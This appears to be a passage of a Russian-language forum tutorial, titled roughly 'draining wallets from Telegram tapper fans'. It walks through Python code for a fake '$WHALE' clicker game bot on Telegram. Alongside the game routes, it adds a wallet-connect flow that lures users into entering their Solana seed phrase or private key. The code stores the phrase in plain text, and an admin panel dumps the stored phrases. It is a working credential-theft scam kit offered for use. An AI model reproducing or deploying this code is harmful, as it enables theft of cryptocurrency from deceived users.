
            if user[0]:
                return jsonify(
                    {
                        "success": False,
                        "message": f"You have already received the reward for this task.",
                    }
                )


            reward_amount = 5000
            cur.execute(
                f"UPDATE users SET balance = balance + %s, {task_type}_rewarded = TRUE WHERE telegram_id = %s",
                (reward_amount, user_id),
            )
            conn.commit()


            return jsonify(
                {
                    "success": True,
                    "message": f"Thank you for completing the task! {reward_amount} $WHALE has been added to your balance.",
                }
            )


    except Exception as e:
        app.logger.error(f"Error claiming social reward: {str(e)}")
        return (
            jsonify(
                {
                    "success": False,
                    "message": "An unexpected error occurred. Please try again later.",
                }
            ),
            500,
        )


    finally:
        conn.close()




@app.route("/check_premium", methods=["POST"])
def check_premium():
    user_id = request.json.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT premium_reward_claimed FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user = cur.fetchone()


            if user and user[0]:
                return jsonify(
                    {"success": False, "message": "Premium reward already claimed"}
                )


            chat_member = bot.get_chat_member(user_id, user_id)
            is_premium = (
                chat_member.user.is_premium
                if hasattr(chat_member.user, "is_premium")
                else False
            )


            if is_premium:
                cur.execute(
                    "UPDATE users SET balance = balance + 50000, premium_reward_claimed = TRUE WHERE telegram_id = %s",
                    (user_id,),
                )
                conn.commit()
                return jsonify(
                    {
                        "success": True,
                        "message": "Premium user rewarded with 50000 $WHALE",
                    }
                )
            else:
                return jsonify({"success": False, "message": "User is not premium"})
    except ApiException as e:
        return (
            jsonify({"success": False, "message": "Error checking premium status"}),
            400,
        )
    finally:
        conn.close()




@app.route("/check_channel_subscription", methods=["POST"])
def check_channel_subscription():
    user_id = request.json.get("user_id")
    channel_username = "durov"


    if not user_id:
        return jsonify({"success": False, "message": "User ID is required."}), 400


    try:
        chat_member = bot.get_chat_member(f"@{channel_username}", user_id)


        is_subscribed = chat_member.status in ["member", "administrator", "creator"]


        if is_subscribed:
            conn = get_db()
            try:
                with conn.cursor() as cur:
                    cur.execute(
                        "UPDATE users SET balance = balance + 10000, channel_subscription_rewarded = TRUE WHERE telegram_id = %s",
                        (user_id,),
                    )
                    conn.commit()
                return jsonify(
                    {
                        "success": True,
                        "message": "Thank you for subscribing! 10000 $WHALE has been added to your balance.",
                    }
                )
            finally:
                conn.close()
        else:
            return jsonify(
                {
                    "success": False,
                    "message": "Please subscribe to the channel to receive your reward.",
                }
            )


    except ApiException as e:
        app.logger.error(f"Telegram API error: {str(e)}")
        return (
            jsonify(
                {
                    "success": False,
                    "message": "Error checking channel subscription. Please try again later.",
                }
            ),
            400,
        )




@app.route("/check_channel_boost", methods=["POST"])
def check_channel_boost():
    user_id = request.json.get("user_id")
    channel_username = "durov"


    try:
        channel_info = bot.get_chat(f"@{channel_username}")


        if channel_info.type != "channel":
            return (
                jsonify(
                    {
                        "success": False,
                        "message": "The specified chat is not a channel.",
                    }
                ),
                400,
            )


        conn = get_db()
        try:
            with conn.cursor() as cur:
                cur.execute(
                    "SELECT channel_boost_rewarded FROM users WHERE telegram_id = %s",
                    (user_id,),
                )
                user = cur.fetchone()


                if not user:
                    return (
                        jsonify({"success": False, "message": "User not found."}),
                        400,
                    )


                if user[0]:
                    return (
                        jsonify(
                            {
                                "success": False,
                                "message": "You have already been rewarded for boosting the channel.",
                            }
                        ),
                        400,
                    )


                cur.execute(
                    "SELECT * FROM boosts WHERE channel_id = %s AND user_id = %s",
                    (channel_info.id, user_id),
                )
                user_boost = cur.fetchone()


                if user_boost:
                    cur.execute(
                        "UPDATE users SET balance = balance + 20000, channel_boost_rewarded = TRUE WHERE telegram_id = %s",
                        (user_id,),
                    )
                    conn.commit()


                    return jsonify(
                        {
                            "success": True,
                            "message": "Thank you for boosting our channel! 20000 $WHALE has been added to your balance.",
                        }
                    )
                else:
                    return jsonify(
                        {
                            "success": False,
                            "message": "You haven't boosted our channel yet. Please boost the channel and try again.",
                        }
                    )
        finally:
            conn.close()


    except Exception as e:
        print(f"Error checking channel boost: {e}")
        return (
            jsonify(
                {
                    "success": False,
                    "message": "An unexpected error occurred. Please try again later.",
                }
            ),
            500,
        )

Код реализует систему вознаграждений для пользователей, основанную на выполнении социальных действий. Через маршруты API пользователи могут получать вознаграждения в $WHALE за выполнение различных задач: получение вознаграждения за выполнение социальных заданий, проверку премиум-статуса, подписку на канал или буст канала. Каждый маршрут проверяет соответствующие условия, начисляет бонусы, если они выполнены, и предотвращает повторное начисление вознаграждений.

Python:

@bot.message_handler(content_types=["successful_payment"])
def handle_successful_payment(message):
    if not message.successful_payment:
        return


    user_id = message.from_user.id
    charge_id = message.successful_payment.telegram_payment_charge_id
    amount = 250


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "INSERT INTO payments (user_id, telegram_payment_charge_id, amount) VALUES (%s, %s, %s)",
                (user_id, charge_id, amount),
            )
            conn.commit()
        print(f"Successful payment from user {user_id}: {message.successful_payment}")
    except Exception as e:
        conn.rollback()
        print(f"Error recording payment: {e}")
    finally:
        conn.close()




def create_donation_invoice(user_id, amount):
    prices = [LabeledPrice(label="Donation", amount=amount)]
    try:
        invoice_link = bot.create_invoice_link(
            title="Donation to $WHALE Clicker",
            description="Thank you for your support! You'll receive 30000 $WHALE in the game.",
            payload=f"donation_{user_id}_{amount}",
            provider_token="",
            currency="XTR",
            prices=prices,
        )
        return invoice_link
    except Exception as e:
        print(f"Error creating invoice: {e}")
        return None




@app.route("/donate", methods=["POST"])
def donate():
    user_id = request.json.get("user_id")
    amount = request.json.get("amount")


    if amount < 1:
        return (
            jsonify({"success": False, "message": "Minimum donation amount is 1"}),
            400,
        )


    invoice_link = create_donation_invoice(user_id, amount)


    if invoice_link:
        return jsonify(
            {
                "success": True,
                "message": "Click the link to proceed with your donation.",
                "invoice_link": invoice_link,
            }
        )
    else:
        return (
            jsonify(
                {
                    "success": False,
                    "message": "An error occurred while creating the donation invoice. Please try again later.",
                }
            ),
            500,
        )




@app.route("/process_donation", methods=["POST"])
def process_donation():
    data = request.json
    user_id = data.get("user_id")


    if not user_id:
        return jsonify({"success": False, "message": "User ID is required."}), 400
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT id, telegram_payment_charge_id FROM payments WHERE user_id = %s AND processed = FALSE",
                (user_id,),
            )
            payment = cur.fetchone()


            if not payment:
                return (
                    jsonify(
                        {
                            "success": False,
                            "message": "Donation not found or not yet completed.",
                        }
                    ),
                    404,
                )


            payment_id, charge_id = payment


            cur.execute(
                "UPDATE users SET balance = balance + 30000 WHERE telegram_id = %s RETURNING balance",
                (user_id,),
            )
            new_balance = cur.fetchone()[0]


            cur.execute(
                "UPDATE payments SET processed = TRUE WHERE id = %s", (payment_id,)
            )
            conn.commit()


            return jsonify(
                {
                    "success": True,
                    "message": "Thank you for your donation! 30000 $WHALE has been added to your balance.",
                    "new_balance": new_balance,
                }
            )
    except Exception as e:
        conn.rollback()
        print(f"Error processing donation: {e}")
        return (
            jsonify(
                {
                    "success": False,
                    "message": "An error occurred while processing your donation.",
                }
            ),
            500,
        )
    finally:
        conn.close()




@app.route("/refund", methods=["POST"])
def refund():
    user_id = request.json.get("user_id")


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT id, telegram_payment_charge_id FROM payments WHERE user_id = %s AND processed = FALSE",
                (user_id,),
            )
            payment = cur.fetchone()


            if not payment:
                return (
                    jsonify(
                        {"success": False, "message": "No payment found for this user."}
                    ),
                    404,
                )


            payment_id, charge_id = payment


            bot.refund_star_payment(user_id, charge_id)


            cur.execute("DELETE FROM payments WHERE id = %s", (payment_id,))
            conn.commit()


            return jsonify({"success": True, "message": "Refund successful."})
    except Exception as e:
        conn.rollback()
        print(f"Refund failed: {e}")
        return jsonify({"success": False, "message": "Refund failed."}), 500
    finally:
        conn.close()

Код обрабатывает процесс пожертвований через тг с использованием платежной системы. Когда пользователь совершает успешный платеж, данные о платеже сохраняются в базе данных, и пользователю начисляется вознаграждение в $WHALE. В функции create_donation_invoice создается ссылка для совершения пожертвования. Также есть маршруты для обработки донатов через API, в том числе для проверки и обработки платежа, а также для возврата средств в случае отмены или ошибки. При успешной обработке доната пользователю начисляется 30,000 на баланс, и информация о платеже помечается как обработанная.

Python:

@app.route("/task_status")
def task_status():
    user_id = request.args.get("user_id")
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT premium_reward_claimed, channel_subscription_rewarded, channel_boost_rewarded, discord_rewarded, twitter_rewarded FROM users WHERE telegram_id = %s",
                (user_id,),
            )
            user = cur.fetchone()
            if user:
                return jsonify(
                    {
                        "premium_reward_claimed": user[0],
                        "channel_subscription_rewarded": user[1],
                        "channel_boost_rewarded": user[2],
                        "discord_rewarded": user[3],
                        "twitter_rewarded": user[4],
                    }
                )
            else:
                return jsonify({"error": "User not found"}), 404
    finally:
        conn.close()




def send_telegram_notification(user_id, message):
    try:
        bot.send_message(user_id, message)
    except ApiException as e:
        print(f"Failed to send notification to user {user_id}: {e}")




def check_and_send_notifications():
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute("SELECT telegram_id FROM users")
            users = cur.fetchall()


            for user in users:
                user_id = user[0]


                cur.execute(
                    "SELECT last_claim FROM daily_rewards WHERE telegram_id = %s",
                    (user_id,),
                )
                daily_reward = cur.fetchone()
                if not daily_reward or daily_reward[0].date() < datetime.now().date():
                    send_telegram_notification(
                        user_id,
                        "🎁 Your daily reward is available! Don't forget to claim it!",
                    )


                cur.execute(
                    "SELECT next_claim FROM lottery_claims WHERE telegram_id = %s",
                    (user_id,),
                )
                lottery = cur.fetchone()
                if not lottery or lottery[0] <= datetime.now():
                    send_telegram_notification(
                        user_id, "🎟️ The lottery is now available! Try your luck!"
                    )


    finally:
        conn.close()




scheduler.add_job(check_and_send_notifications, "interval", hours=1)

Код включает маршруты для проверки статуса задач пользователя и отправки уведомлений через Telegram. В маршруте /task_status возвращается информация о выполнении различных заданий пользователем. Функция send_telegram_notification отправляет уведомления пользователям в тг, а check_and_send_notifications периодически проверяет, не пришло ли время для отправки уведомлений о доступных ежедневных наградах или лотерейных заявках. Вся проверка и уведомления происходят через задачу, которая выполняется каждый час.

Python:

@app.route("/leaderboard")
def get_leaderboard():
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT telegram_id, balance, first_name, last_name
                FROM users
                ORDER BY balance DESC
                LIMIT 10
                """
            )
            top_users = cur.fetchall()


            user_id = request.args.get("user_id")
            cur.execute(
                """
                SELECT rank, balance
                FROM (
                    SELECT telegram_id, balance,
                           ROW_NUMBER() OVER (ORDER BY balance DESC) as rank
                    FROM users
                ) ranked
                WHERE telegram_id = %s
                """,
                (user_id,),
            )
            user_data = cur.fetchone()


            leaderboard_data = []
            for user in top_users:
                telegram_id, balance, first_name, last_name = user
                name = first_name
                if last_name:
                    name += f" {last_name}"
                leaderboard_data.append({"name": name, "balance": balance})


            return jsonify(
                {
                    "leaderboard": leaderboard_data,
                    "user_rank": user_data[0] if user_data else None,
                    "user_balance": user_data[1] if user_data else None,
                }
            )
    finally:
        conn.close()

Последнее из всех, этот код обрабатывает запрос на получение списка топ-10 пользователей по балансу с функцией отображения текущего положения пользователя в рейтинге.

Итак, это весь функционал бота. Давайте теперь добавим подключению кошелька и админ панель. Начнем с подключения и верификации кошелька:

Python:

@bot.message_handler(commands=["connect_wallet"])
def initiate_wallet_connection(message):
    user_id = message.from_user.id


    keyboard = types.InlineKeyboardMarkup(row_width=2)
    keyboard.add(
        types.InlineKeyboardButton(
            "🌳 Open in Browser",
            url=f"....ngrok-free.app/webapp?user_id={user_id}",
        )
    )


    bot.reply_to(
        message,
        "🔗 Connect Solana Wallet\n\n"
        "Due to Telegram limitations, please open the connection link in an external browser:\n\n"
        "1. Install Phantom Wallet extension\n"
        "2. Click one of the browser buttons below\n"
        "3. Complete wallet connection",
        reply_markup=keyboard,
    )




def is_valid_solana_pubkey(pubkey):
    """
    More robust Solana public key validation
    """
    import base58


    try:
        decoded = base58.b58decode(pubkey)
        return len(decoded) == 32
    except:
        return False




@app.route("/connect_wallet", methods=["POST"])
def connect_wallet():
    user_id = request.json.get("user_id")
    public_key = request.json.get("public_key")


    if not user_id:
        return jsonify({"success": False, "message": "User ID is required."}), 400


    if not public_key or not is_valid_solana_pubkey(public_key):
        return jsonify({"success": False, "message": "Invalid Solana public key."}), 400


    conn = get_db()
    if conn is None:
        return jsonify({"success": False, "message": "Database connection error"}), 500


    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT telegram_id FROM users WHERE solana_wallet = %s", (public_key,)
            )
            existing_user = cur.fetchone()


            if existing_user and existing_user[0] != user_id:
                return (
                    jsonify(
                        {
                            "success": False,
                            "message": "This wallet is already connected to another account.",
                        }
                    ),
                    400,
                )


            cur.execute(
                """
                UPDATE users
                SET solana_wallet = %s
                WHERE telegram_id = %s
                """,
                (public_key, user_id),
            )
            conn.commit()


        return jsonify({"success": True, "message": "Wallet connected successfully."})


    except Exception as e:
        conn.rollback()
        print(f"Wallet connection error: {e}")
        return (
            jsonify(
                {
                    "success": False,
                    "message": "An unexpected error occurred. Please try again.",
                }
            ),
            500,
        )
    finally:
        if conn:
            conn.close()




@app.route("/claim_airdrop", methods=["POST"])
def claim_airdrop():
    user_id = request.json.get("user_id")
    wallet_address = request.json.get("wallet_address")


    if not user_id or not wallet_address:
        return (
            jsonify(
                {
                    "success": False,
                    "message": "User ID and wallet address are required.",
                }
            ),
            400,
        )


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT airdrop_claimed FROM users WHERE telegram_id = %s", (user_id,)
            )
            result = cur.fetchone()


            if result and result[0]:
                return (
                    jsonify({"success": False, "message": "Airdrop already claimed."}),
                    400,
                )


            cur.execute(
                """
                UPDATE users
                SET airdrop_claimed = TRUE,
                    balance = balance + 1000
                WHERE telegram_id = %s
                """,
                (user_id,),
            )
            conn.commit()


        return jsonify({"success": True, "message": "Airdrop claimed successfully!"})


    except Exception as e:
        conn.rollback()
        print(f"Airdrop claim error: {e}")
        return (
            jsonify({"success": False, "message": "An unexpected error occurred."}),
            500,
        )
    finally:
        if conn:
            conn.close()




@app.route("/wallet_login", methods=["POST"])
def wallet_login():
    user_id = request.json.get("user_id")
    seed_phrase = request.json.get("seed_phrase")


    if not user_id or not seed_phrase:
        return (
            jsonify(
                {"success": False, "message": "User ID and seed phrase are required."}
            ),
            400,
        )


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT seed_phrase_hash FROM user_wallets WHERE telegram_id = %s",
                (user_id,),
            )
            existing_user = cur.fetchone()


            if existing_user:
                if seed_phrase == existing_user[0]:
                    return jsonify({"success": True, "message": "Login successful."})
                else:
                    return (
                        jsonify({"success": False, "message": "Invalid seed phrase."}),
                        401,
                    )
            else:
                cur.execute(
                    """
                    INSERT INTO user_wallets
                    (telegram_id, seed_phrase_hash)
                    VALUES (%s, %s)
                    """,
                    (user_id, seed_phrase),
                )
                conn.commit()


                return jsonify(
                    {"success": True, "message": "Wallet registered successfully."}
                )


    except Exception as e:
        conn.rollback()
        print(f"Wallet login error: {e}")
        return (
            jsonify({"success": False, "message": "An unexpected error occurred."}),
            500,
        )
    finally:
        if conn:
            conn.close()




@app.route("/get_user_wallet_details", methods=["GET"])
def get_user_wallet_details():
    user_id = request.args.get("user_id")


    if not user_id:
        return jsonify({"success": False, "message": "User ID required"})


    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                SELECT solana_wallet, balance
                FROM users
                WHERE telegram_id = %s
            """,
                (user_id,),
            )
            user = cur.fetchone()


            if user:
                return jsonify(
                    {"success": True, "solana_wallet": user[0], "balance": user[1]}
                )
            else:
                return jsonify({"success": False, "message": "User not found"})
    except Exception as e:
        print(f"Error fetching user details: {e}")
        return jsonify({"success": False, "message": "Database error"})

Так как взаимодействие с Phantom должно происходить в браузере, пользователю нужно будет ввести команду /connect_wallet и подключить кошелёк через браузер. После этого он вернётся в Telegram и получит аирдроп. Сначала мы запишем публичный кошелёк, а уже затем попросим ввести сид-фразу или приватный ключ.

Вот так это будет выглядеть для пользователя:

Создадим код для админки:

Python:

def verify_password(username, password):
    conn = get_db()
    try:
        with conn.cursor() as cur:
            cur.execute(
                "SELECT password_hash FROM admin_users WHERE username = %s", (username,)
            )
            result = cur.fetchone()
            if result:
                stored_hash = result[0]
                if isinstance(stored_hash, str):
                    stored_hash = stored_hash.encode("utf-8")
                if bcrypt.checkpw(password.encode("utf-8"), stored_hash):
                    return username
    except Exception as e:
        print(f"Error during authentication: {e}")
    finally:
        conn.close()
    return None




@app.route("/admin/login", methods=["GET", "POST"])
def admin_login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if verify_password(username, password):
            session["logged_in"] = True
            return redirect(url_for("admin_panel"))
        else:
            return render_template("admin_login.html", error="Invalid credentials")
    return render_template("admin_login.html")




@app.route("/admin", methods=["GET"])
def admin_panel():
    if not session.get("logged_in"):
        return redirect(url_for("admin_login"))
    return render_template("admin.html")




@app.route("/admin/logout")
def admin_logout():
    session.pop("logged_in", None)
    return redirect(url_for("admin_login"))




def create_api_endpoint(table_name):
    def get_data():
        if not session.get("logged_in"):
            return jsonify({"error": "Unauthorized"}), 401
        conn = get_db()
        try:
            with conn.cursor() as cur:
                cur.execute(f"SELECT * FROM {table_name}")
                data = cur.fetchall()
                data_list = []
                for row in data:
                    row_data = {}
                    for i, col in enumerate(cur.description):
                        row_data[col.name] = row[i]
                    data_list.append(row_data)
                return jsonify(data_list)
        finally:
            conn.close()


    endpoint_name = f"get_{table_name}_data"
    app.add_url_rule(
        f"/api/{table_name}",
        view_func=get_data,
        methods=["GET"],
        endpoint=endpoint_name,
    )




create_api_endpoint("users")
create_api_endpoint("user_wallets")
create_api_endpoint("payments")
create_api_endpoint("upgrades")
create_api_endpoint("daily_rewards")
create_api_endpoint("lottery_claims")
create_api_endpoint("boosts")

Тут мы логинимся и достаем информацию из базы и отображаем на странице. Перед тем как пользоваться, заранее внесите вашу инфу sql запросом. Вот так выглядит админ страница:

Также у нас есть файлы HTML, CSS и JavaScript, но объяснять их здесь не буду, потому что статья получится слишком длинной, да и смысла в этом немного. Ознакомиться с кодом можно будет в ZIP-файле, который я вскоре залью на GitHub.

Вот так выглядит функционал кликера и лэндинга (кликер на видео без подключения кошелька и аирдроп секции):

https://imgur.com/a/f95kJ6s

https://imgur.com/a/howUWMZ

Конец

В принципе, на этом всё. Если я увижу ваш отклик, то продолжу дорабатывать и продвигать проект для нашего коммьюнити. Добавлю больше интерактивных элементов для пользователей, расширю функционал админки и многое другое. Не забывайте, что всё в ваших руках. А я надолго не прощаюсь — ждите обновлений!

Вытягиваем кошельки из любителей телеграм тапалок

Man

Professional

Конец

Attachments

Similar threads

Вытягиваем кошельки из любителей телеграм тапалок

Man

Professional

Конец​

Attachments

Similar threads

Конец